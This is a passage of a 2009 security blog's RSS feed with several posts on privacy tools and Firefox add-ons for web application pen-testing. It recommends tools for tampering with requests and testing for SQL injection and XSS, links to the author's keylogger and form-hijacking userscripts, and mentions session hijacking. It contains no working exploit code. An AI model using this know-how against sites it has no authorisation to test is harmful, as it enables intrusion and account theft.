<p>There are many reasons why you would use a proxy, apart from the list which you can read on Tor projects website &#8220;<a href="http://www.torproject.org/torusers.html.en">Who uses Tor?</a>&#8220;, what better way to hide your ass when trolling people?</p>
<p>Use Tor, if possible even help out by setting up a node, and be happy of it&#8217;s extra anonymity (which I cannot have).<br />
<script type="text/javascript"><!--
google_ad_client = "pub-4879499347590889";
/* 468x60, created 1/22/09 */
google_ad_slot = "0361207255";
google_ad_width = 468;
google_ad_height = 60;
// --></script><br />
<script src="http://pagead2.googlesyndication.com/pagead/show_ads.js" type="text/javascript"></script></p>
<h2><a href="http://www.scroogle.org">Scroogle</a></h2>
<p>Well, in case you are a Google user I hope you know that every search you ever do is logged&#8230; If you have a Google account you may check your whole search history <a href="http://www.google.com/history">here</a>. Now you may see where Scroogle would come in pretty handy. It also comes with SSL support, so it also adds a part of privacy to it: <a href="https://ssl.scroogle.org">ssl.scroogle.org</a>.</p>
<p>In simple terms Scroogle does the search on Google for you, drops the cookie that Google tries to attach to your browser and prints you the output of the search.</p>
<h2><a href="http://www.bugmenot.com">BugMeNot</a></h2>
<p>Often enough websites ask you for a user account in your attempt to access their content, even if it&#8217;s going to be your first (and last) visit on their page. Well through <a href="http://www.bugmenot.com">BugMeNot</a> you can bypass that compulsory registration process.  <a href="http://www.bugmenot.com/faq.php#03">Why not just register?</a><br />
<script type="text/javascript"><!--
google_ad_client = "pub-4879499347590889";
/* 468x60, created 1/22/09 */
google_ad_slot = "0361207255";
google_ad_width = 468;
google_ad_height = 60;
// --></script><br />
<script src="http://pagead2.googlesyndication.com/pagead/show_ads.js" type="text/javascript"></script></p>
<h2><a href="http://mailinator.com">Mailinator</a></h2>
<p>In case BugMeNot didn&#8217;t have the answer for the problem (as in bypassing compulsory registration), you can quickly set up your account without having to fear spam later on. <a href="http://mailinator.com">Mailinator</a> offers you a easy one step temporary email address for any occasion, at any time you may need it.</p>
<h2><a href="http://www.gnupg.org/">GPG</a></h2>
<blockquote><p><a href="http://www.gnupg.org/">GnuPG</a> is the GNU project&#8217;s complete and free implementation of the OpenPGP standard as defined by RFC4880 . GnuPG allows to encrypt and sign your data and communication (&#8230;)</p>
</blockquote>
<p>Using PGP encryption has many benefits, given the amount of tools built upon it.<br />
For the browser (Firefox) you got <a href="http://getfiregpg.org/">FireGPG</a> which let&#8217;s you sign, verify, encrypt and decrypt anything that you can select in your browser, this even includes email, posts and so fort. It also comes with implementation for Gmail.</p>
<h2>Firefox addons</h2>
<p>There are two addons which I know help in providing anonymity.</p>
<p>One would be <a href="https://addons.mozilla.org/en-US/firefox/addon/722">NoScript</a>, which I use to block trackers (like Google Analytics), but this is just a bonus for the main reason I use it, and I mean security.</p>
<p>The second one is <a href="https://addons.mozilla.org/en-US/firefox/addon/9727">RequestPolicy</a>, which if even would look very similar to NoScript there is a finely grained difference them. I personally use both of them, and do recommend the same if you got the patience to whitelist websites you visit.<br />
<script type="text/javascript"><!--
google_ad_client = "pub-4879499347590889";
/* 468x60, created 1/22/09 */
google_ad_slot = "0361207255";
google_ad_width = 468;
google_ad_height = 60;
// --></script><br />
<script src="http://pagead2.googlesyndication.com/pagead/show_ads.js" type="text/javascript"></script></p>
<h2>IM Encryption</h2>
<p>The modern use of the internet is highly oriented on instant messaging, so this area of privacy should be taken care of with more interest than any other before told privacy measure.</p>
<p>For example the IM client <a href="http://pidgin.im">Pidgin</a> has a few <a href="http://developer.pidgin.im/wiki/ThirdPartyPlugins#SecurityandPrivacy">privacy and security plugins</a> from which you may choose.</p>
<p>As for IM clients like MSN and Yahoo! you may download (and use) <a href="http://www.bitdefender.com/PRODUCT-2236-en--BitDefender-Chat-Encryption.html">BitDefender Chat Encryption</a> for free.</p>
<h2>More suggestions?</h2>
<p>If there is something that you think I missed out (as in privacy and anonymity for internet users) feel free to contribute, even with alternatives for the before mentioned ones.</p>
]]></content:encoded>
			<wfw:commentRss>http://insanesecurity.info/blog/regain-your-privacy-and-anonymity/feed</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Firefox without NoScript</title>
		<link>http://insanesecurity.info/blog/firefox-without-noscript</link>
		<comments>http://insanesecurity.info/blog/firefox-without-noscript#comments</comments>
		<pubDate>Wed, 24 Jun 2009 16:27:11 +0000</pubDate>
		<dc:creator>dblackshell</dc:creator>
				<category><![CDATA[Discussion]]></category>
		<category><![CDATA[News]]></category>
		<category><![CDATA[Firefox]]></category>

		<guid isPermaLink="false">http://insanesecurity.info/blog/?p=54</guid>
		<description><![CDATA[That&#8217;s what many NoScript users have claimed of doing after the recent debate about NoScript circumventing ADBlockPlus for displaying the ads from its own page. One question I kept asking myself: Are these really noscript users? Before I would go further with that I should state that I appreciate very much both Firefox addons. Couldn&#8217;t [...]]]></description>
			<content:encoded><![CDATA[<p>That&#8217;s what many <em>NoScript</em> users have claimed of doing after the recent debate about <a href="http://adblockplus.org/blog/attention-noscript-users"><em>NoScript</em> <strong>circumventing</strong> <em>ADBlockPlus</em> for displaying the ads from its own page</a>. One question I kept asking myself: <q>Are these really noscript users?</q></p>
<p><span id="more-54"></span></p>
<p>Before I would go further with that I should state that I appreciate very much both Firefox addons. Couldn&#8217;t imagine browsing without the two of them. And this is the reason why I&#8217;ve put up that question, because once accustomed to both of these addons you just can&#8217;t go back to old fashion browsing.</p>
<p>It&#8217;s one thing that some didn&#8217;t knew how to use <em>NoScript</em> or didn&#8217;t fully understand it&#8217;s potential, and gone to use <em>YesScript</em> instead, which just made me crack.</p>
<p>And while both sides were right, I think it all started due to a misinformation or lack of it thereof. In <em>NoScript</em>&#8217;s FAQ it was stated that version 1.9.2.4 white listed Giorgio Maones domains in <em>AdBlockPlus</em>.</p>
<p>Some people probably started to fork <em>NoScript</em>, but that for another time, when we will have something that could reach the same level of protection which <em>NoScript</em> brought.</p>
<p><strong>Update:</strong> NoScript&#8217;s author <a href="http://hackademix.net/2009/05/04/dear-adblock-plus-and-noscript-users-dear-mozilla-community/">reply on the matter</a>. </p>
]]></content:encoded>
			<wfw:commentRss>http://insanesecurity.info/blog/firefox-without-noscript/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Intercepting Proxies?</title>
		<link>http://insanesecurity.info/blog/intercepting-proxies</link>
		<comments>http://insanesecurity.info/blog/intercepting-proxies#comments</comments>
		<pubDate>Wed, 24 Jun 2009 06:12:53 +0000</pubDate>
		<dc:creator>dblackshell</dc:creator>
				<category><![CDATA[Toolbox]]></category>
		<category><![CDATA[Firefox]]></category>
		<category><![CDATA[SQL Injection]]></category>
		<category><![CDATA[XSS]]></category>

		<guid isPermaLink="false">http://insanesecurity.info/blog/intercepting-proxies</guid>
		<description><![CDATA[People tend to overdo things&#8230; And somewhere (not sure were) I&#8217;ve read an article (or better call it tutorial) where for simple modifications of parameter/header values the author suggested an intercepting proxy like: WebScarab, BurpProxy, ParosProxy, ProxyStrike, etc. Yes they&#8217;re up to the job, but aren&#8217;t there some simpler solutions? Yes there are, and those [...]]]></description>
			<content:encoded><![CDATA[<p>People tend to overdo things&#8230; And somewhere (not sure were) I&#8217;ve read an article (or better call it tutorial) where for simple modifications of parameter/header values the author suggested an intercepting proxy like: WebScarab, BurpProxy, ParosProxy, ProxyStrike, etc. Yes they&#8217;re up to the job, but aren&#8217;t there some simpler solutions? Yes there are, and those solutions will be presented in the following lines&#8230;</p>
<p><span id="more-43"></span><br />
And if you weren&#8217;t sure till know, I assure you I&#8217;m going to speak about Firefox Addons.</p>
<h2>LiveHTTPHeaders</h2>
<p>Useful addon for both developers and hackers. It let&#8217;s you analyze the HTTP requests and responses done at/from a specified point. It also allows you to modify the requests as you want, from parameters to HTTP headers, anything is possible.<br />
<script type="text/javascript"><!--
google_ad_client = "pub-4879499347590889";
/* 468x60, created 1/22/09 */
google_ad_slot = "0361207255";
google_ad_width = 468;
google_ad_height = 60;
// --></script><br />
<script src="http://pagead2.googlesyndication.com/pagead/show_ads.js" type="text/javascript"></script></p>
<p>For those that use intercepting proxies in passive mode, for grabbing links while browsing, which later will be passed to some web application scanner (or something like that), guess what: <em>liveHTTPHeaders</em> supports that also.</p>
<p>Download: <a href="https://addons.mozilla.org/en-US/firefox/addon/3829" target="_blank">liveHTTPHeaders</a></p>
<h2>Tamper Data</h2>
<p>On several occasions you may want to modify/forge requests in the first submission of a page/form. For that reason <em>Tamper Data</em> is another addon that shouldn&#8217;t miss from your toolbox. The functionality I mentioned is just the tip of the iceberg regarding <em>Tamper Data</em>.</p>
<p>Screenshots and download: <a href="https://addons.mozilla.org/en-US/firefox/addon/966" target="_blank">Tamper Data</a></p>
<h2>HackBar</h2>
<p>But what if you don&#8217;t need to modify headers, just the content or parameters? Should use <em>Tamper Data</em> just for that?<br />
<script type="text/javascript"><!--
google_ad_client = "pub-4879499347590889";
/* 468x60, created 1/22/09 */
google_ad_slot = "0361207255";
google_ad_width = 468;
google_ad_height = 60;
// --></script><br />
<script src="http://pagead2.googlesyndication.com/pagead/show_ads.js" type="text/javascript"></script></p>
<p>The answer is obviously NO! Just press F9 (<em>HackBar</em> shortcut key) and you&#8217;re ready to tamper/forge requests as you wish. It&#8217;s a great addon not just because it eases work with long URLs, but also has the ability to send POST requests for you, thus relieving you from having another window/tab for executing forged POST requests. Did I also mentioned how helpful it can be when working with SQL Injections? No?! I wonder how could I omit that?&#8230;</p>
<p>Screenshots and download: <a href="https://addons.mozilla.org/en-US/firefox/addon/3899" target="_blank">HackBar</a></p>
<h2>Final notes</h2>
<p>In the end it&#8217;s up to you to decide how you&#8217;ll do from this point onward. Either work with the suggested plugins, or continue your ritual with intercepting proxies. There is no good/bad way of doing it, it&#8217;s just a matter of taste. Some people (including myself) like to do as much possible from the browser before firing up another application&#8230;</p>
]]></content:encoded>
			<wfw:commentRss>http://insanesecurity.info/blog/intercepting-proxies/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Firefox: a (web application) Pen-Testers platform</title>
		<link>http://insanesecurity.info/blog/firefox-a-web-application-pen-testers-platform</link>
		<comments>http://insanesecurity.info/blog/firefox-a-web-application-pen-testers-platform#comments</comments>
		<pubDate>Wed, 24 Jun 2009 05:45:58 +0000</pubDate>
		<dc:creator>dblackshell</dc:creator>
				<category><![CDATA[Discussion]]></category>
		<category><![CDATA[How To]]></category>
		<category><![CDATA[Firefox]]></category>

		<guid isPermaLink="false">http://insanesecurity.info/blog/firefox-a-web-application-pen-testers-platform</guid>
		<description><![CDATA[Mozilla Firefox thanks to it addons can truly be a web application pen-testers platform. And this concept is not new, is it? I think that Firefox started to be seen as a potential web application pen-test platform somewhere in 2006, around the time that the article Hacking Web 2.0 Applications with Firefox popped up on [...]]]></description>
			<content:encoded><![CDATA[<p>Mozilla Firefox thanks to it addons can truly be a web application pen-testers platform. And this concept is not new, is it?<br />
<span id="more-16"></span><br />
I think that Firefox started to be seen as a potential web application pen-test platform somewhere in 2006, around the time that the article <a href="http://www.securityfocus.com/infocus/1879/1">Hacking Web 2.0 Applications with Firefox</a> popped up on  <a href="http://www.securityfocus.com">SecurityFocus</a>.</p>
<p>The second major thing that spread this concept was, after my opinion, the <a href="http://www.security-database.com/toolswatch/Security-Database-releases-FireCAT.html">FireCAT</a> (Firefox Catalog of Auditing Toolbox), which by now has reached it&#8217;s <a href="http://www.security-database.com/toolswatch/IMG/pdf/FireCAT_1.5.pdf">1.5 version</a>. It has many addons listed, but I think that for pen-testing the starred ones are enough. Although for experimenting you may use the others too.</p>
<p><script type="text/javascript"><!--
google_ad_client = "pub-4879499347590889";
/* 468x60, created 1/22/09 */
google_ad_slot = "0361207255";
google_ad_width = 468;
google_ad_height = 60;
//-->
</script><br />
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script></p>
<p>If you would like to try them out, I would recommend you to create a different Firefox profile&#8230; At the high number of plugins, the browser could freeze up. You could have, for example, different profiles for different sets of addons, tasks: blogging, hacking, sharing (p2p/torrents), etc.</p>
<p>For creating Firefox profiles you only have to add two parameters to the command line. The command is:</p>
<pre>firefox.exe -no-remote -ProfileManager</pre>
</p>
<p>Or modify it in the shortcut properties, after the quotes that surround the path to the <strong>firefox.exe</strong> file. If all is fine, than at every start the <strong>Profile Manager</strong> should pop up, thus letting you choose/create/delete/rename profiles.</p>
<p><img class="size-full wp-image-55" title="profilemanager" src="http://insanesecurity.info/wp-content/uploads//profilemanager.jpg" alt="Firefox Profile Manager window" width="351" height="251" /></p>
<p>I think that now that you have seen some insights on this matter you would agree that Firefox may as well be the best &#8220;platform&#8221; for web application pen-testing.</p>
]]></content:encoded>
			<wfw:commentRss>http://insanesecurity.info/blog/firefox-a-web-application-pen-testers-platform/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Web Application Pen-testing Toolbox (Firefox)</title>
		<link>http://insanesecurity.info/blog/web-application-pen-testing-toolbox-firefox</link>
		<comments>http://insanesecurity.info/blog/web-application-pen-testing-toolbox-firefox#comments</comments>
		<pubDate>Wed, 24 Jun 2009 05:35:40 +0000</pubDate>
		<dc:creator>dblackshell</dc:creator>
				<category><![CDATA[Projects]]></category>
		<category><![CDATA[Toolbox]]></category>
		<category><![CDATA[Firefox]]></category>

		<guid isPermaLink="false">http://insanesecurity.info/blog/?p=3</guid>
		<description><![CDATA[A long time ago (if you could say so for a couple of months) I posted a small article about Firefox being a good web application pen-testers platform. At that time I would have happily made a compilation of my preferred add-ons, but such similar projects were already available, and so didn&#8217;t afford to waste [...]]]></description>
			<content:encoded><![CDATA[<p>A long time ago (if you could say so for a couple of months) I posted a small article about Firefox being a good <a href="http://insanesecurity.info/blog/firefox-a-pen-testers-platform">web application pen-testers platform</a>. At that time I would have happily made a compilation of my preferred add-ons, but such similar projects were already available, and so didn&#8217;t afford to waste time on maintaining something like that.<br />
<span id="more-3"></span><br />
<br />
Fast forwarding to this day you get <a href="https://addons.mozilla.org/collection/wapt">WAPT</a> (Web Application Pen-testing Toolbox) based on the new <a href="https://addons.mozilla.org/collections">Mozilla addons collection</a> feature, which relieves people from annoying maintenance and sharing issues.</p>
<p>Sure it&#8217;s not the only one which fulfills this scope, similar collections are: <a href="http://www.owasp.org/index.php/Ultimate_Hackerfox_Addons">OWASP&#8217;s Ultimate Hackerfox</a>, <a href="https://addons.mozilla.org/en-US/firefox/collection/appsec">WAST</a> and <a href="https://addons.mozilla.org/en-US/firefox/collection/webappsec">WAST</a> (same name, different authors and small differences).</p>
<p>So why should you choose mine?</p>
<ul>
<li>because you like me and support me as well :)</li>
<li>instead of just throwing  add-ons in the collection, I&#8217;m going to give a detailed description of why those add-ons deserve their place there</li>
</ul>
<h2>Greasemonkey</h2>
<p>One of the most innovative and popular add-ons for Firefox.</p>
<p>Even if attaching custom Javascript code to web pages might not seem much, the power proven this way is incredible. Such userscripts have a great versatility, leaving endless possibilities: simple to complex automation, complete modification of user interface and website working, website crawling and much more.</p>
<p>If you&#8217;re serious about web hacking, than you cannot ignore the power of userscripts.</p>
<p>Some userscripts I wrote (and you can find on this blog) are: the first <a href="http://insanesecurity.info/blog/javascript-userscript-keylogger">userscript keylogger</a> and <a href="http://insanesecurity.info/blog/formjacking">form hijacker</a>. Other userscripts I wrote about where: the <a href="http://insanesecurity.info/blog/malware-a-common-threat">malware script detector</a> and <a href="http://insanesecurity.info/blog/secure-php-configuration">phpinfo() security checker</a>.<br />
<script type="text/javascript"><!--
google_ad_client = "pub-4879499347590889";
/* 468x60, created 1/22/09 */
google_ad_slot = "0361207255";
google_ad_width = 468;
google_ad_height = 60;
// --></script><br />
<script src="http://pagead2.googlesyndication.com/pagead/show_ads.js" type="text/javascript"></script></p>
<h2>Firebug</h2>
<p>Commonly defacto add-on for web developers but it&#8217;s utility should not be ignored by hackers alike.</p>
<ul>
<li>the powerful console window where custom code can be run freely (useful in initiating ajax calls, modifying functions on the fly and more)</li>
<li>html window &#8211; the xpath generating feature will prove very useful when coding scrappers, also modifying html content actively is an added bonus</li>
<li>script window &#8211; helpfully in intercepting/tracking/stepping through code and variables</li>
<li>net window &#8211; finding (possibly exploitable): bottlenecks in code execution, external styles/libraries and let&#8217;s not forget about XHR requests monitoring as well</li>
</ul>
<h2>User Agent Switcher</h2>
<p>There will be situations in which spoofing a browser, crawler bot will have it&#8217;s benefits :)</p>
<h2>Tamper Data</h2>
<p>It&#8217;s descriptions says more than enough about it:</p>
<blockquote><p>Use tamperdata to view and modify HTTP/HTTPS headers and post parameters&#8230;</p>
</blockquote>
<p>It comes better in aid when tampering post parameters either submited via: form, XHR or other add-ons.</p>
<h2>Live HTTP headers</h2>
<p>Besides it&#8217;s usefulness in header analysis (parameter tampering), the generator tab can be used for passive website crawling, or extraction of special type of files based on regular expression patterns.</p>
<h2>Add N Edit Cookies</h2>
<p>Cookie adding/modification can be done easily with a bookmarklet as I mentioned in an <a href="http://insanesecurity.info/blog/bookmarklets">article about them</a>, but this add-on gives better control over them.</p>
<p>Besides the sorting/filtering of cookies a very useful feature is that we can modify cookie expiration period. Imagine for example hijacking a session and the web application improperly logging out the user, setting the cookie expiration time to a value in the past instead of destroying the session.<br />
<script type="text/javascript"><!--
google_ad_client = "pub-4879499347590889";
/* 468x60, created 1/22/09 */
google_ad_slot = "0361207255";
google_ad_width = 468;
google_ad_height = 60;
// --></script><br />
<script src="http://pagead2.googlesyndication.com/pagead/show_ads.js" type="text/javascript"></script></p>
<h2>HackBar</h2>
<p>As many of you do, when starting pen-testing a website (manually) usually you go and tamper GET parameters and very annoying you may find the URI encoding or the length of a request.</p>
<p>In these scenarios HackBar is the tool you need, giving simple splitting of parameters and some primordial functions which are handful in different cases: MySQL UNION query generation, basic info column, html/javascript encoding, hashing, base64/URI encoding and more.</p>
<h2>XSS Me</h2>
<p>As from different collections mentioned at the beginning of the article, in WAPT the only add-on from the <strong>Exploit Me</strong> suite that I imported is <em>XSS Me</em>. <em>Access Me</em> gives doubtful results and <em>SQL Inject Me</em> feels redundant because most of websites either sanitize or not parameters that go in SQL statements, rarely blacklisting words like in XSS protections.</p>
<p>Automated XSS testing is made easy thankfully to the possibility of having custom attack vector lists. And testing with obfuscated vectors feels just better, than with the list that it comes with.</p>
<h2>SQL Injection</h2>
<p>This is the add-on that replaces <em>SQL Inject Me</em> in my collection:</p>
<blockquote><p>it is a component to transform checkboxes, radio buttons, select elements to a input text and enable disabled elements from all forms in a page. It makes easier to test and identify SQL injection vulnerabilities in web pages.</p>
</blockquote>
<h2>Site Information Tool</h2>
<p>Besides the basic WHOIS information it provides, the service behind the add-on is very useful in approximating the attack surface of injecting malicious content into the website. Take as example a look at my <a href="http://www.wmtips.com/tools/info/?url=http%3A%2F%2Finsanesecurity.info%2Fblog%2F&#038;src=ff&#038;v=1.2">blog info</a>.</p>
<h2>Milw0rm Search Plugin</h2>
<p>I don&#8217;t think I have to write why this plugin deserves it&#8217;s place in the collection :)</p>
<h2>Passive Recon</h2>
<p>Momentarily the last ad-on in WAPT, but not the less useful. <em>Passive Recon</em> let&#8217;s you gather data for websites using multiple services like: Google, DomainTools, SamSpade, Network-Tools, Netcraft and more.</p>
<p>That&#8217;s all I have to say momentarily about WAPT, hopefully you&#8217;ll find it as useful as I am so that I can surpass the others in the same category :)</p>
<p>The WAPT collection can be found <a href="https://addons.mozilla.org/en-US/firefox/collection/wapt">here</a>.</p>
]]></content:encoded>
			<wfw:commentRss>http://insanesecurity.info/blog/web-application-pen-testing-toolbox-firefox/feed</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
	</channel>
</rss>
